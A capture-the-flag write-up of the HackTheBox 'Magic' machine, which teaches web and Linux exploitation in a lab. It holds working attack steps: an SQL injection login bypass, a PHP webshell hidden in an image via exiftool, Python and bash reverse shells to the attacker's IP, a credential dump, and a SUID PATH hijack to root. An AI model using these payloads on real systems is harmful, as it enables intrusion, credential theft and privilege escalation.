HackTheBox - Magic

HackTheBox - Magic

Magic from Hack The Box features a PHP-based web application which is vulnerable to SQL injection for login bypass. The file upload feature fails to validate an image uploaded to it. This allows me to upload a webshell embedded image and gain a foothold. Enumerating the systems discovers database credentials which leads to database dump and obtain user credentials. For the root part, there’s a SUID binary that’s vulnerable to the path hijack attack since it calls some binaries without their absolute path.

Skills Learned

  • SQL injection
  • Bypassing file upload filter
  • SUID exploitation

Tools

Reconnaissance

Nmap

→ root@iamf «magic» «10.10.14.169»
$ nmap -sC -sV -oA scans/magic 10.10.10.185

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap found two ports open, an HTTP service on port 80 and SSH service on port 22

Enumeration

TCP 80  -  Website

The home page shows a bunch of images.

image-20210413132328926

By clicking “Views image”, I know some images located on /images/uploads and some others on /images/fulls. At the bottom page, there’s a login button that points to /login.php

image-20210412052815532

Common credentials don’t seem to work here.

Foothold

Shell as www-data

SQL injection - Login bypass on /login.php

The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.

A basic sql injection technique ' or 1 = 1 -- - to bypass login is work against the login page.

In MySQL, a space after a comment is a must -- [space], because of that I added -- - to make it clear.

We can assume the back-end query would look like this:

...<some php>...
$username = $_POST['user']
$pwd = $_POST['password']
...<some php>...

SELECT username, password from table.user where username='$username' and password='$pwd'

If I assign ' or 1 = 1 -- - as value of $username, it becomes:

SELECT username, password from table.user where username='' or 1 = 1 -- -' and password='$pwd'

Upload filter bypass

Upon a successful login, the site redirects me to /upload.php. It shows up with an upload form. It only accepts a valid image file.

image-20210413153556151

After some testing, I can bypass this upload filter by embedding my php shell on an image file (I took it from the web itself). This can be done by using exiftool.

→ root@iamf «forest» «10.10.14.169»
$ ./exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' iamf.jpg

Next, I added .php extension right before the image extension (in my case it is .jpg, so it becomes filename.php.jpg).

Back to /upload.php, now it accepts my malicious image.

image-20210413153504323

I can find the uploaded file at http://htb.magic/images/uploads/.

When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd, I can see the code execution is working

img

Shell access

The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443 to gain a foothold on the system.

I’ll enter this URL on the browser.

http://htb.magic/images/uploads/iamf.php.jpg?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.169%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27"

When I check my listener:

→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Shell as theseus

Enumeration

There is a database configuration, db.php5, that stores database credentials.

$ find . -type f -user www-data

...<SNIP>...
./var/www/Magic/db.php5
...<SNIP>...
image-20210413153535228

Database dump

I can use netstat to confirm that the MySQL server is currently running.

www-data@ubuntu:/var/www/Magic$ netstat -tlpn

...<SNIP>...
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...<SNIP>...
tcp		0		0   127.0.0.1:3306           0.0.0.0:*              LISTEN       -
...<SNIP>...

Unfortunately, the mysql binary is not present in this box.

image-20210413153425371

But, I could use mysqldump to dump the database, and it contains another credentials: admin:Th3s3usW4sK1ng.

www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'

...<SNIP>...
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;                                           
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
...<SNIP>...

Shell upgrade to SSH

It turns out that the password Th3s3usW4sK1ng is reused by user theseus.

www-data@ubuntu:/var/www/Magic$ su theseus
Password: 
theseus@ubuntu:/var/www/Magic$

Before enumeration, I would like to switch to SSH. First, I’ll generate a new SSH key.

→ root@iamf «magic» «10.10.14.169»
$ ssh-keygen -f theseus 

Then, I’ll add the newly generated public key to theseus’s authorized_keys.

theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys

Now I can log in via SSH.

→ root@iamf «magic» «10.10.14.169»
$ ssh -i  theseus@10.10.10.185
...<SNIP>...
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)

Shell as root

Enumeration

Upon enumerating for SUID, there’s a binary that doesn’t seem to be a common SUID on Ubuntu called sysinfo.

theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
image-20210413153352652

The sysinfo binary is owned by root, but it can be executed by the users group and theseus is a member of that group.

theseus@ubuntu:~$ ls -las /bin | grep sysinfo
 24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo

When I execute the binary and it returns some hardware information on the screen that looks similar to what lshw, free and other binary related to hardware info produces.

image-20210413153311827

A quick search on Google shows:

image-20210413153328164

So it is the same header.

Running strings against sysinfo reveals it calls lshw, free, fdisk and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)

  • Absolute path: /bin/sysinfo –> fixed path, can not be modified except global write access is permitted. (cmiiw)
  • Relative path: sysinfo –> resolved by user’s environment, the path follows user’s $PWD.

Path Hijack on SUID

Knowing the SUID binary uses relative path to call other binaries, I can abuse this by creating, for example, a fake lshw binary that contains a reverse shell.

First thing to do is, I will create a fake lshw in /tmp/iamf folder and append one liner bash reverse shell.

theseus@ubuntu:/tmp$ mkdir iamf
theseus@ubuntu:/tmp$ which lshw
/bin/lshw

Next, I’ll export /tmp/iamf to the environment variable $PATH.

theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/10.10.10.169/1234 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH

Now If I call lshw, the OS will resolve it to the one on /tmp/iamf.

theseus@ubuntu:/tmp$ which lshw
/tmp/iamf/lshw

After that, I can just execute the sysinfo binary. However, it then just hangs.

theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================

That is because its execution is interrupted by the reverse shell and now I’m rooted.

→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)

image-20210413152136238

References